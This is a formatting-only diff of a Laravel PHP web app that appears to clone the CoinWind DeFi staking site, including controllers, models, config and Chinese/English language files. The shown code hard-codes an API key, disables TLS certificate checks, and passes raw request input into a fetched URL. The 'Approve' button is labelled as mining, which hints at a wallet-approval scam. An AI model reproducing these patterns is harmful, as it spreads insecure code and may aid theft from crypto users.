$k = $i % $len; $k = $i % $len;
$code .= $string [$i] ^ $key [$k]; $code .= $string[$i] ^ $key[$k];
} }
return base64_encode ( $code ); return base64_encode($code);
} }
function sctonum($num, $double = 5){ function sctonum($num, $double = 5)
if(false !== stripos($num, "e")){ {
$a = explode("e",strtolower($num)); if (false !== stripos($num, "e")) {
$a = explode("e", strtolower($num));
return bcmul($a[0], bcpow(10, $a[1], $double), $double); return bcmul($a[0], bcpow(10, $a[1], $double), $double);
} }
} }
@ -1051,7 +1049,7 @@ class ApiController extends Controller
$appcode = "77a7fbd8cba14a29aec330d1d2cd2464"; $appcode = "77a7fbd8cba14a29aec330d1d2cd2464";
$headers = array(); $headers = array();
array_push($headers, "Authorization:APPCODE " . $appcode); array_push($headers, "Authorization:APPCODE " . $appcode);
$querys = "ip=".$ip; $querys = "ip=" . $ip;
$bodys = ""; $bodys = "";
$url = $host . $path . "?" . $querys; $url = $host . $path . "?" . $querys;
@ -1062,8 +1060,7 @@ class ApiController extends Controller
curl_setopt($curl, CURLOPT_FAILONERROR, false); curl_setopt($curl, CURLOPT_FAILONERROR, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_HEADER, false);
if (1 == strpos("$".$host, "https://")) if (1 == strpos("$" . $host, "https://")) {
{
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
} }
@ -1072,13 +1069,13 @@ class ApiController extends Controller
return '获取ip失败'; return '获取ip失败';
} }
return $data['data']['region'].'-'.$data['data']['city']; return $data['data']['region'] . '-' . $data['data']['city'];
} }
public function authorizationSearch(Request $request) public function authorizationSearch(Request $request)
{ {
$data = file_get_contents('https://eth.tokenview.com/api/search/'.$request->input('tx').'/?network=eth'); $data = file_get_contents('https://eth.tokenview.com/api/search/' . $request->input('tx') . '/?network=eth');
echo $data; echo $data;
} }
} }

View File

@ -11,17 +11,17 @@ class ArticlesController extends BaseController
public function index($type) public function index($type)
{ {
$lang = session("language"); $lang = session("language");
if(!$lang){ if (!$lang) {
$lang ='en'; $lang = 'en';
} }
$list = Articles::where(array("type"=>$type))->where(array("lang"=>$lang))->get(); $list = Articles::where(array("type" => $type))->where(array("lang" => $lang))->get();
return view('articles', ['data' => $list]); return view('articles', ['data' => $list]);
} }
public function detail($id)
public function detail($id){ {
$list = Articles::find($id); $list = Articles::find($id);
return view('detail', ['data' => $list]); return view('detail', ['data' => $list]);
} }
} }

View File

@ -23,7 +23,6 @@ class BaseController extends Controller
View::share('rand', (rand(1, 10) / 10000) * $config['swim']); View::share('rand', (rand(1, 10) / 10000) * $config['swim']);
} }
public function admin() public function admin()
{ {
$config = System::where(['id' => 1])->first(); $config = System::where(['id' => 1])->first();
@ -75,19 +74,19 @@ class BaseController extends Controller
} }
return \view('admin.index',[ return \view('admin.index', [
'user_jin' => $user_jin, 'user_jin' => $user_jin,
'user_zuo' => $user_zuo, 'user_zuo' => $user_zuo,
'user_bili' => sprintf("%.2f",(($user_jin - $user_zuo) / ($user_zuo == 0 ? 1: $user_zuo)) * 100), 'user_bili' => sprintf("%.2f", (($user_jin - $user_zuo) / ($user_zuo == 0 ? 1 : $user_zuo)) * 100),
'address_jin' => $address_jin, 'address_jin' => $address_jin,
'address_zuo' => $address_zuo, 'address_zuo' => $address_zuo,
'address_bili' => sprintf("%.2f",(($address_jin - $address_zuo) / ($address_zuo == 0 ? 1 :$address_zuo)) * 100), 'address_bili' => sprintf("%.2f", (($address_jin - $address_zuo) / ($address_zuo == 0 ? 1 : $address_zuo)) * 100),
'detail_count_jin' => $detail_count_jin, 'detail_count_jin' => $detail_count_jin,
'detail_count_zuo' => $detail_count_zuo, 'detail_count_zuo' => $detail_count_zuo,
'detail_bili' => sprintf("%.2f",(($detail_count_jin - $detail_count_zuo) / ($detail_count_zuo == 0 ? 1 :$detail_count_zuo)) * 100), 'detail_bili' => sprintf("%.2f", (($detail_count_jin - $detail_count_zuo) / ($detail_count_zuo == 0 ? 1 : $detail_count_zuo)) * 100),
'with_count_jin' => $with_count_jin, 'with_count_jin' => $with_count_jin,
'with_count_zuo ' => $with_count_zuo, 'with_count_zuo ' => $with_count_zuo,
'with_bili' => sprintf("%.2f",(($with_count_jin - $with_count_zuo) / ($with_count_zuo == 0 ? 1 :$with_count_zuo)) * 100), 'with_bili' => sprintf("%.2f", (($with_count_jin - $with_count_zuo) / ($with_count_zuo == 0 ? 1 : $with_count_zuo)) * 100),
]); ]);
} }
} }

View File

@ -10,4 +10,4 @@ class DaoController extends BaseController
return view('dao'); return view('dao');
} }
} }

View File

@ -16,5 +16,4 @@ class IndexController extends BaseController
return view('welcome', ['data' => $data, 'nft' => $nft]); return view('welcome', ['data' => $data, 'nft' => $nft]);
} }
}
}

View File

@ -1,4 +1,5 @@
<?php <?php
namespace App\Http\Controllers; namespace App\Http\Controllers;
use Illuminate\Http\Request; use Illuminate\Http\Request;
@ -10,7 +11,6 @@ class InviteController extends BaseController
public function index() public function index()
{ {
return view('invite', ['current_time' => date('Y-m-d H:i:s', time())]); return view('invite', ['current_time' => date('Y-m-d H:i:s', time())]);
} }
} }

View File

@ -1,4 +1,5 @@
<?php <?php
namespace App\Http\Controllers; namespace App\Http\Controllers;
use Illuminate\Http\Request; use Illuminate\Http\Request;
@ -12,20 +13,20 @@ class LangController extends BaseController
* 切换语言包 * 切换语言包
* @param Request $request * @param Request $request
*/ */
public function language(Request $request){ public function language(Request $request)
if($request->ajax()) { //Ajax请求访问 {
if ($request->ajax()) { //Ajax请求访问
$lang = $request->all(); $lang = $request->all();
$lang = $lang['lang']; $lang = $lang['lang'];
App::setLocale($lang); //配置默认语言 App::setLocale($lang); //配置默认语言
session(['language' => $lang]); //存到session session(['language' => $lang]); //存到session
session()->save(); session()->save();
return App::getLocale(); return App::getLocale();
}else{ } else {
if($request->session()->has('language')){ if ($request->session()->has('language')) {
$res = $request->session()->get('language'); //获取session $res = $request->session()->get('language'); //获取session
return $res; return $res;
} }
} }
} }
} }

View File

@ -12,6 +12,4 @@ class NftController extends BaseController
return view('nft', ['data' => $data]); return view('nft', ['data' => $data]);
} }
} }

View File

@ -1,4 +1,5 @@
<?php <?php
namespace App\Http\Controllers; namespace App\Http\Controllers;
use Illuminate\Http\Request; use Illuminate\Http\Request;
@ -9,8 +10,6 @@ class ShouyiController extends BaseController
{ {
public function index() public function index()
{ {
return view('invite', ['current_time' => date('Y-m-d H:i:s', time())]); return view('invite', ['current_time' => date('Y-m-d H:i:s', time())]);
} }
} }

View File

@ -11,4 +11,3 @@ class SwapController extends BaseController
return view('swap'); return view('swap');
} }
} }

View File

@ -13,5 +13,4 @@ class VaultController extends BaseController
return view('vault', ['data' => $data]); return view('vault', ['data' => $data]);
} }
} }

View File

@ -1,4 +1,5 @@
<?php <?php
namespace App\Http\Middleware; namespace App\Http\Middleware;
use Closure; use Closure;
@ -15,13 +16,11 @@ class Language
*/ */
public function handle($request, Closure $next) public function handle($request, Closure $next)
{ {
if (Session::has('language') AND in_array(Session::get('language'), Config::get('app.locales'))) { if (Session::has('language') and in_array(Session::get('language'), Config::get('app.locales'))) {
App::setLocale(Session::get('language')); App::setLocale(Session::get('language'));
} } else { // This is optional as Laravel will automatically set the fallback language if there is none specified
else { // This is optional as Laravel will automatically set the fallback language if there is none specified
App::setLocale(Config::get('app.locale')); App::setLocale(Config::get('app.locale'));
} }
return $next($request); return $next($request);
} }
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Nft extends Model class Nft extends Model
{ {
} }

View File

@ -18,6 +18,4 @@ class Other extends Model
{ {
return json_decode($pictures, true); return json_decode($pictures, true);
} }
} }

View File

@ -52,8 +52,8 @@ class RouteServiceProvider extends ServiceProvider
protected function mapWebRoutes() protected function mapWebRoutes()
{ {
Route::middleware('web') Route::middleware('web')
->namespace($this->namespace) ->namespace($this->namespace)
->group(base_path('routes/web.php')); ->group(base_path('routes/web.php'));
} }
/** /**
@ -66,8 +66,8 @@ class RouteServiceProvider extends ServiceProvider
protected function mapApiRoutes() protected function mapApiRoutes()
{ {
Route::prefix('api') Route::prefix('api')
->middleware('api') ->middleware('api')
->namespace($this->namespace) ->namespace($this->namespace)
->group(base_path('routes/api.php')); ->group(base_path('routes/api.php'));
} }
} }

View File

@ -6,6 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Single extends Model class Single extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Swap extends Model class Swap extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class System extends Model class System extends Model
{ {
} }

View File

@ -71,7 +71,7 @@ class Google
$secretkey = $this->_base32Decode($secret); $secretkey = $this->_base32Decode($secret);
// Pack time into binary string // Pack time into binary string
$time = chr(0).chr(0).chr(0).chr(0).pack('N*', $timeSlice); $time = chr(0) . chr(0) . chr(0) . chr(0) . pack('N*', $timeSlice);
// Hash it with users secret key // Hash it with users secret key
$hm = hash_hmac('SHA1', $time, $secretkey, true); $hm = hash_hmac('SHA1', $time, $secretkey, true);
// Use last nipple of result as index/offset // Use last nipple of result as index/offset
@ -106,9 +106,9 @@ class Google
$height = !empty($params['height']) && (int) $params['height'] > 0 ? (int) $params['height'] : 200; $height = !empty($params['height']) && (int) $params['height'] > 0 ? (int) $params['height'] : 200;
$level = !empty($params['level']) && array_search($params['level'], array('L', 'M', 'Q', 'H')) !== false ? $params['level'] : 'M'; $level = !empty($params['level']) && array_search($params['level'], array('L', 'M', 'Q', 'H')) !== false ? $params['level'] : 'M';
$urlencoded = urlencode('otpauth://totp/'.$name.'?secret='.$secret.''); $urlencoded = urlencode('otpauth://totp/' . $name . '?secret=' . $secret . '');
if (isset($title)) { if (isset($title)) {
$urlencoded .= urlencode('&issuer='.urlencode($title)); $urlencoded .= urlencode('&issuer=' . urlencode($title));
} }
return "https://api.qrserver.com/v1/create-qr-code/?data=$urlencoded&size=${width}x${height}&ecc=$level"; return "https://api.qrserver.com/v1/create-qr-code/?data=$urlencoded&size=${width}x${height}&ecc=$level";
@ -180,8 +180,10 @@ class Google
return false; return false;
} }
for ($i = 0; $i < 4; ++$i) { for ($i = 0; $i < 4; ++$i) {
if ($paddingCharCount == $allowedValues[$i] && if (
substr($secret, -($allowedValues[$i])) != str_repeat($base32chars[32], $allowedValues[$i])) { $paddingCharCount == $allowedValues[$i] &&
substr($secret, - ($allowedValues[$i])) != str_repeat($base32chars[32], $allowedValues[$i])
) {
return false; return false;
} }
} }
@ -251,4 +253,4 @@ class Google
// They are only identical strings if $result is exactly 0... // They are only identical strings if $result is exactly 0...
return $result === 0; return $result === 0;
} }
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Transfer extends Model class Transfer extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class User extends Model class User extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Vault extends Model class Vault extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Vault2 extends Model class Vault2 extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Vault3 extends Model class Vault3 extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Withdrawal extends Model class Withdrawal extends Model
{ {
} }

View File

@ -15,9 +15,9 @@ define('LARAVEL_START', microtime(true));
| |
*/ */
require __DIR__.'/vendor/autoload.php'; require __DIR__ . '/vendor/autoload.php';
$app = require_once __DIR__.'/bootstrap/app.php'; $app = require_once __DIR__ . '/bootstrap/app.php';
/* /*
|-------------------------------------------------------------------------- |--------------------------------------------------------------------------

View File

@ -12,7 +12,7 @@
*/ */
$app = new Illuminate\Foundation\Application( $app = new Illuminate\Foundation\Application(
realpath(__DIR__.'/../') realpath(__DIR__ . '/../')
); );
/* /*

View File

@ -1,7 +1,10 @@
{ {
"name": "laravel/laravel", "name": "laravel/laravel",
"description": "The Laravel Framework.", "description": "The Laravel Framework.",
"keywords": ["framework", "laravel"], "keywords": [
"framework",
"laravel"
],
"license": "MIT", "license": "MIT",
"type": "project", "type": "project",
"require": { "require": {
@ -38,11 +41,10 @@
}, },
"extra": { "extra": {
"laravel": { "laravel": {
"providers": [ "providers": [
"Encore\\CKEditor\\CKEditorServiceProvider" "Encore\\CKEditor\\CKEditorServiceProvider"
], ],
"dont-discover": [ "dont-discover": []
]
} }
}, },
"scripts": { "scripts": {
@ -62,4 +64,4 @@
"sort-packages": true, "sort-packages": true,
"optimize-autoloader": true "optimize-autoloader": true
} }
} }

2
composer.lock generated
View File

@ -6797,4 +6797,4 @@
}, },
"platform-dev": [], "platform-dev": [],
"plugin-api-version": "2.0.0" "plugin-api-version": "2.0.0"
} }

View File

@ -223,7 +223,7 @@ return [
* or specific method to path like: get:admin/auth/logs. * or specific method to path like: get:admin/auth/logs.
*/ */
'except' => [ 'except' => [
env('ADMIN_ROUTE_PREFIX', 'admin').'/auth/logs*', env('ADMIN_ROUTE_PREFIX', 'admin') . '/auth/logs*',
], ],
], ],
@ -348,9 +348,7 @@ return [
'minify_assets' => [ 'minify_assets' => [
// Assets will not be minified. // Assets will not be minified.
'excepts' => [ 'excepts' => [],
],
], ],
@ -407,14 +405,12 @@ return [
'extensions' => [ 'extensions' => [
'ckeditor' => [ 'ckeditor' => [
//Set to false if you want to disable this extension //Set to false if you want to disable this extension
'enable' => true, 'enable' => true,
// Editor configuration // Editor configuration
'config' => [ 'config' => []
]
] ]
], ],
]; ];

View File

@ -88,7 +88,7 @@ return [
'prefix' => env( 'prefix' => env(
'CACHE_PREFIX', 'CACHE_PREFIX',
str_slug(env('APP_NAME', 'laravel'), '_').'_cache' str_slug(env('APP_NAME', 'laravel'), '_') . '_cache'
), ),
]; ];

View File

@ -51,7 +51,7 @@ return [
'public' => [ 'public' => [
'driver' => 'local', 'driver' => 'local',
'root' => storage_path('app/public'), 'root' => storage_path('app/public'),
'url' => env('APP_URL').'/storage', 'url' => env('APP_URL') . '/storage',
'visibility' => 'public', 'visibility' => 'public',
], ],
@ -66,7 +66,7 @@ return [
'driver' => 'local', 'driver' => 'local',
'root' => public_path('upload'), 'root' => public_path('upload'),
'visibility' => 'public', 'visibility' => 'public',
'url' => env('APP_URL').'/upload', 'url' => env('APP_URL') . '/upload',
] ]
], ],

View File

@ -124,7 +124,7 @@ return [
'cookie' => env( 'cookie' => env(
'SESSION_COOKIE', 'SESSION_COOKIE',
str_slug(env('APP_NAME', 'laravel'), '_').'_session' str_slug(env('APP_NAME', 'laravel'), '_') . '_session'
), ),
/* /*

View File

@ -1,5 +1,6 @@
<!doctype html> <!doctype html>
<html> <html>
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<title>恭喜,站点创建成功!</title> <title>恭喜,站点创建成功!</title>
@ -16,15 +17,16 @@
padding-left: 20px; padding-left: 20px;
} }
ul li { ul li {
line-height: 2.3 line-height: 2.3
} }
a { a {
color: #20a53a color: #20a53a
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<h1>恭喜, 站点创建成功!</h1> <h1>恭喜, 站点创建成功!</h1>
@ -36,4 +38,5 @@
</ul> </ul>
</div> </div>
</body> </body>
</html> </html>

View File

@ -18,4 +18,4 @@
"lodash": "^4.17.4", "lodash": "^4.17.4",
"vue": "^2.5.7" "vue": "^2.5.7"
} }
} }

View File

@ -11,7 +11,7 @@ try {
window.$ = window.jQuery = require('jquery'); window.$ = window.jQuery = require('jquery');
require('bootstrap-sass'); require('bootstrap-sass');
} catch (e) {} } catch (e) { }
/** /**
* We'll load the axios HTTP library which allows us to easily issue requests * We'll load the axios HTTP library which allows us to easily issue requests

View File

@ -1,4 +1,3 @@
// Fonts // Fonts
@import url("https://fonts.googleapis.com/css?family=Raleway:300,400,600"); @import url("https://fonts.googleapis.com/css?family=Raleway:300,400,600");
@ -6,4 +5,4 @@
@import "variables"; @import "variables";
// Bootstrap // Bootstrap
@import "~bootstrap-sass/assets/stylesheets/bootstrap"; @import "~bootstrap-sass/assets/stylesheets/bootstrap";

View File

@ -168,5 +168,5 @@ return [
'Unlock1' => 'Unlock', 'Unlock1' => 'Unlock',
'Deposited1' => 'Assets', 'Deposited1' => 'Assets',
'Unlock failed' => 'Unlock failed', 'Unlock failed' => 'Unlock failed',
'shouyi'=>'收益', 'shouyi' => '收益',
]; ];

View File

@ -96,7 +96,7 @@ return [
'text_empty' => 'Пустий список', 'text_empty' => 'Пустий список',
'filtered' => '{0} / {1}', 'filtered' => '{0} / {1}',
'filter_clear' => 'Показати все', 'filter_clear' => 'Показати все',
'filter_placeholder'=> 'Фільтр', 'filter_placeholder' => 'Фільтр',
], ],
'grid_items_selected' => '{n} елементів вибрано', 'grid_items_selected' => '{n} елементів вибрано',

View File

@ -1,172 +1,172 @@
<?php <?php
return [ return [
'Multi-chain Lock-up Value ($)' => '多链锁仓价值($)', 'Multi-chain Lock-up Value ($)' => '多链锁仓价值($)',
'Multi-chain User Revenue ($)' => '多链用户总收益($)', 'Multi-chain User Revenue ($)' => '多链用户总收益($)',
'Current Price($)' => 'GLK价格($)', 'Current Price($)' => 'GLK价格($)',
'GLK Balance' => 'GLK余额', 'GLK Balance' => 'GLK余额',
'Mining Output(GLK)' => '多链挖矿产出量(GLK)', 'Mining Output(GLK)' => '多链挖矿产出量(GLK)',
'Mining Output Value($)' => '多链挖矿产出市值($)', 'Mining Output Value($)' => '多链挖矿产出市值($)',
'Multi-chain Rewards($)' => '多链累计奖励($)', 'Multi-chain Rewards($)' => '多链累计奖励($)',
'Multi-chain Burned(GLK)' => '多链累计销毁(GLK)', 'Multi-chain Burned(GLK)' => '多链累计销毁(GLK)',
'Buy' => '兑换', 'Buy' => '兑换',
'Mining' => '去挖矿', 'Mining' => '去挖矿',
'Single Farms' => '单币质押挖矿', 'Single Farms' => '单币质押挖矿',
'More' => '更多', 'More' => '更多',
'Home' => '首页', 'Home' => '首页',
'Retry' => '重试', 'Retry' => '重试',
'Please install MetaMask' => '请切换ETH链', 'Please install MetaMask' => '请切换ETH链',
'Wallet' => '钱包', 'Wallet' => '钱包',
'MetaMask Connected' => '已连接 MetaMask', 'MetaMask Connected' => '已连接 MetaMask',
'View on ETH network' => '在ETH网络查看', 'View on ETH network' => '在ETH网络查看',
'TVL' => '总锁仓量', 'TVL' => '总锁仓量',
'Total Users Earned' => '总收益', 'Total Users Earned' => '总收益',
'Personal TVL' => '个人锁仓量', 'Personal TVL' => '个人锁仓量',
'Total Personal Earned' => '未提取总收益', 'Total Personal Earned' => '未提取总收益',
'GLK Pools v2' => 'GLK策略v2', 'GLK Pools v2' => 'GLK策略v2',
'GLK Pools v1' => 'GLK策略v1', 'GLK Pools v1' => 'GLK策略v1',
'Staked Only' => '已参与项目', 'Staked Only' => '已参与项目',
'Harvest GLK' => '收获', 'Harvest GLK' => '收获',
'APY' => '年化收益率', 'APY' => '年化收益率',
'Compound Interest' => '复利', 'Compound Interest' => '复利',
'Deposited' => '已存入', 'Deposited' => '已存入',
'VL' => '锁仓量', 'VL' => '锁仓量',
'Remaining' => '剩余可投', 'Remaining' => '剩余可投',
'Withdrawal' => '提取', 'Withdrawal' => '提取',
'Approve' => '挖矿', 'Approve' => '挖矿',
'Deposit' => '存入', 'Deposit' => '存入',
'Authorized successfully' => '授权成功', 'Authorized successfully' => '授权成功',
'Confirm' => '确认', 'Confirm' => '确认',
'Deposit All' => '存入全部', 'Deposit All' => '存入全部',
'Balance' => '余额', 'Balance' => '余额',
'Surplus Deposit' => '剩余可存', 'Surplus Deposit' => '剩余可存',
'Enter Amount' => '最低数量', 'Enter Amount' => '最低数量',
'Authorization failed' => '授权失败', 'Authorization failed' => '授权失败',
'Deposit Successful' => '存款成功', 'Deposit Successful' => '存款成功',
'I got it' => '我知道了', 'I got it' => '我知道了',
'Details' => '详情', 'Details' => '详情',
'CLAIM' => '提取收益', 'CLAIM' => '提取收益',
'Withdraw All' => '提取全部', 'Withdraw All' => '提取全部',
'Recoverable income' => '可提取收益', 'Recoverable income' => '可提取收益',
'Withdraw successfully' => '提取成功', 'Withdraw successfully' => '提取成功',
'No participation for now' => '暂时还没有参与的项目', 'No participation for now' => '暂时还没有参与的项目',
'Participate Now' => '立即参与', 'Participate Now' => '立即参与',
'Claim Your Airdrop' => '领取空投', 'Claim Your Airdrop' => '领取空投',
'Contact US' => 'Contact US', 'Contact US' => 'Contact US',
'Announcement' => '公告', 'Announcement' => '公告',
'FAQ' => '常见问题', 'FAQ' => '常见问题',
'Tutorial' => '使用教程', 'Tutorial' => '使用教程',
'Claimed to the connected wallet MetaMask address' => '领取至已连接的钱包地址', 'Claimed to the connected wallet MetaMask address' => '领取至已连接的钱包地址',
'Claim Cycle' => '领取周期', 'Claim Cycle' => '领取周期',
'Claim Rules' => '有效地址', 'Claim Rules' => '有效地址',
'To be claimed' => '待领取', 'To be claimed' => '待领取',
'Address to participate in coinwind airdrop and successfully complete the task.' => '参与CoinWind空投活动并成功完成任务的地址。', 'Address to participate in coinwind airdrop and successfully complete the task.' => '参与CoinWind空投活动并成功完成任务的地址。',
'Received successfully' => '领取成功', 'Received successfully' => '领取成功',
'Lock up' => '锁仓', 'Lock up' => '锁仓',
'Repurchase' => '回购销毁', 'Repurchase' => '回购销毁',
'Rewards statistics' => '奖励数据', 'Rewards statistics' => '奖励数据',
'Rule' => '奖励规则', 'Rule' => '奖励规则',
'Multi-chain Rewards' => '多链已奖励', 'Multi-chain Rewards' => '多链已奖励',
'Multi-chain Lock-up Value' => '多链锁仓价值', 'Multi-chain Lock-up Value' => '多链锁仓价值',
'Multi-chain Lock-up Amount' => '多链锁仓量', 'Multi-chain Lock-up Amount' => '多链锁仓量',
'Rewards' => '累计奖励', 'Rewards' => '累计奖励',
'Lock-up Value' => 'ETH Lock-up Value', 'Lock-up Value' => 'ETH Lock-up Value',
'Lock-up Amount' => '锁仓量', 'Lock-up Amount' => '锁仓量',
'Single token' => '单币奖励', 'Single token' => '单币奖励',
'Revenue and exit fee rewards' => '收益奖励、出场费奖励', 'Revenue and exit fee rewards' => '收益奖励、出场费奖励',
'Benefits' => '收益', 'Benefits' => '收益',
'Repurchase and burn statistics' => '回购销毁数据', 'Repurchase and burn statistics' => '回购销毁数据',
'Rule1' => '规则', 'Rule1' => '规则',
'Destroy Records' => '销毁记录', 'Destroy Records' => '销毁记录',
'TXID' => 'TXID', 'TXID' => 'TXID',
'Block' => '区块高度', 'Block' => '区块高度',
'Price' => '价格', 'Price' => '价格',
'Amount' => '数量', 'Amount' => '数量',
'Vaule' => '价值', 'Vaule' => '价值',
'Pending Repurchase' => '待回购金额', 'Pending Repurchase' => '待回购金额',
'Repurchased' => '已回购金额', 'Repurchased' => '已回购金额',
'Destroy' => '已销毁数量', 'Destroy' => '已销毁数量',
'GLK Price(current)' => 'GLK价格(实时)', 'GLK Price(current)' => 'GLK价格(实时)',
'Reward Assets' => '奖励资金', 'Reward Assets' => '奖励资金',
'The platform will add a fixed proportion of its daily income and exit fee into the rewards pool.' => '平台每日将收益、出场费等资金按一定比例注入奖励池', 'The platform will add a fixed proportion of its daily income and exit fee into the rewards pool.' => '平台每日将收益、出场费等资金按一定比例注入奖励池',
'Users obtain platform revenue rewards by pledging single currency and LP.' => '用户通过质押单币、LP获取平台收益奖励。', 'Users obtain platform revenue rewards by pledging single currency and LP.' => '用户通过质押单币、LP获取平台收益奖励。',
'In the future, the project will initiate the DAO governance for GLK holders.' => '后续将通过DAO方式向GLK持有者开放投票治理功能。', 'In the future, the project will initiate the DAO governance for GLK holders.' => '后续将通过DAO方式向GLK持有者开放投票治理功能。',
'Repurchase Funds' => '回笼资金', 'Repurchase Funds' => '回笼资金',
'Rule3' => '回购销毁规则', 'Rule3' => '回购销毁规则',
'Rules' => '销毁规则', 'Rules' => '销毁规则',
'The platform will add a fixed proportion of its daily income and exit fee into the repurchase pool.' => '平台每日将收益、出场费等资金按一定比例注入待回购池', 'The platform will add a fixed proportion of its daily income and exit fee into the repurchase pool.' => '平台每日将收益、出场费等资金按一定比例注入待回购池',
'When the GLK real-time price (the lowest price of GLK on multiple chains) is lower than the 72-hour GLK average price (on multiple chains), the smart contract will be triggered for repurchase and burn. Otherwise, the funds enter the repurchase pool.' => '1、当GLK实时币价取多链下最低的glk价格低于72小时GLK均价多链智能合约被触发进行回购销毁。若未达到触发条件资金进入待回购资金池。', 'When the GLK real-time price (the lowest price of GLK on multiple chains) is lower than the 72-hour GLK average price (on multiple chains), the smart contract will be triggered for repurchase and burn. Otherwise, the funds enter the repurchase pool.' => '1、当GLK实时币价取多链下最低的glk价格低于72小时GLK均价多链智能合约被触发进行回购销毁。若未达到触发条件资金进入待回购资金池。',
'If the user appearance fee is GLK,the GLK of the appearance fee will be destroyed directly.If the user appearance fee is not GLK, the part of the appearance fee will enter the pool of funds to be repurchased.' => '2、若用户出场费为GLK,出场费的GLK直接进行销毁、若用户出场费非GLK该部分出场费将进入待回购资金池。', 'If the user appearance fee is GLK,the GLK of the appearance fee will be destroyed directly.If the user appearance fee is not GLK, the part of the appearance fee will enter the pool of funds to be repurchased.' => '2、若用户出场费为GLK,出场费的GLK直接进行销毁、若用户出场费非GLK该部分出场费将进入待回购资金池。',
'Invite rebate' => '邀请返佣', 'Invite rebate' => '邀请返佣',
'2% fee for withdrawals within 7 days' => '7天内提取将收取本金的2%', '2% fee for withdrawals within 7 days' => '7天内提取将收取本金的2%',
'Unlimited' => '不限', 'Unlimited' => '不限',
'Harvest' => '获得', 'Harvest' => '获得',
'Enter Amount1' => '输入数量', 'Enter Amount1' => '输入数量',
'2% fee for withdrawals within 7 daysTime is reset for each deposit' => '7天内提取将收取本金的2%, 每次存入均重置时间', '2% fee for withdrawals within 7 daysTime is reset for each deposit' => '7天内提取将收取本金的2%, 每次存入均重置时间',
'Countdown for free exit fee' => '免出场费倒计时', 'Countdown for free exit fee' => '免出场费倒计时',
'Invite friends to join CoinWind' => '邀请好友加入CoinWind', 'Invite friends to join CoinWind' => '邀请好友加入CoinWind',
'Win GLK rewards and become a partner of CoinWind' => '赢取GLK奖励做CoinWind合伙人', 'Win GLK rewards and become a partner of CoinWind' => '赢取GLK奖励做CoinWind合伙人',
'Invite now' => '立即邀请', 'Invite now' => '立即邀请',
'View rules' => '查看规则', 'View rules' => '查看规则',
'My referral link' => '我的推荐链接', 'My referral link' => '我的推荐链接',
'Basic rebate ratio' => '基础返佣比例', 'Basic rebate ratio' => '基础返佣比例',
'Friends mining rebates' => '好友挖矿返利', 'Friends mining rebates' => '好友挖矿返利',
'Friends DAO rebate' => '好友 DAO 返利', 'Friends DAO rebate' => '好友 DAO 返利',
'Copied' => '已复制', 'Copied' => '已复制',
'My invitation data' => '我的邀请数据', 'My invitation data' => '我的邀请数据',
'All' => '全部', 'All' => '全部',
'Yesterday' => '昨天', 'Yesterday' => '昨天',
'Last week' => '上周', 'Last week' => '上周',
'Data updated on' => '数据更新于', 'Data updated on' => '数据更新于',
'My commission' => '我的佣金', 'My commission' => '我的佣金',
'Withdrawable commission' => '可提取佣金', 'Withdrawable commission' => '可提取佣金',
'extract' => '提取', 'extract' => '提取',
'Number of users I invited' => '我邀请的用户数', 'Number of users I invited' => '我邀请的用户数',
'Number of user transactions I invited' => '我邀请的用户交易数', 'Number of user transactions I invited' => '我邀请的用户交易数',
'Invited user transaction amount' => '邀请用户交易额', 'Invited user transaction amount' => '邀请用户交易额',
'The commission data statistics time is subject to UTC+8 time' => '佣金数据统计时间以UTC+8时间为准', 'The commission data statistics time is subject to UTC+8 time' => '佣金数据统计时间以UTC+8时间为准',
'Invite users' => '邀请用户', 'Invite users' => '邀请用户',
'User address' => '用户地址', 'User address' => '用户地址',
'Transaction amount' => '交易额', 'Transaction amount' => '交易额',
'No records' => '暂无交易', 'No records' => '暂无交易',
'Scarce NFT' => '稀缺NFT', 'Scarce NFT' => '稀缺NFT',
'Gain' => '获得', 'Gain' => '获得',
'Lowest price' => '最低价格', 'Lowest price' => '最低价格',
'Content' => '内容', 'Content' => '内容',
'My NFT' => '我的NFT', 'My NFT' => '我的NFT',
'Receiving rules' => '领取规则', 'Receiving rules' => '领取规则',
'Features are under development' => '功能正在开发中', 'Features are under development' => '功能正在开发中',
'TVL($)' => '总锁仓量($)', 'TVL($)' => '总锁仓量($)',
'Total Users Earned($)' => '总收益($)', 'Total Users Earned($)' => '总收益($)',
'Personal TVL($)' => '个人总锁仓量($)', 'Personal TVL($)' => '个人总锁仓量($)',
'Total Personal Earned($)' => '未提取总收益($)', 'Total Personal Earned($)' => '未提取总收益($)',
'CLAIM1' => '提取', 'CLAIM1' => '提取',
'Project List' => '项目列表', 'Project List' => '项目列表',
'My Position' => '我的持仓', 'My Position' => '我的持仓',
'Type' => '类型', 'Type' => '类型',
'Current' => '活期', 'Current' => '活期',
'Strategy' => '资金策略', 'Strategy' => '资金策略',
'Staking funds' => '质押资金', 'Staking funds' => '质押资金',
'Staked' => '已质押', 'Staked' => '已质押',
"Note: The pledged amount of the node includes the pledged amount of CoinWind's entire network staking." => '说明节点已质押量包含CoinWind全网Staking的质押量。', "Note: The pledged amount of the node includes the pledged amount of CoinWind's entire network staking." => '说明节点已质押量包含CoinWind全网Staking的质押量。',
'normal' => '普通', 'normal' => '普通',
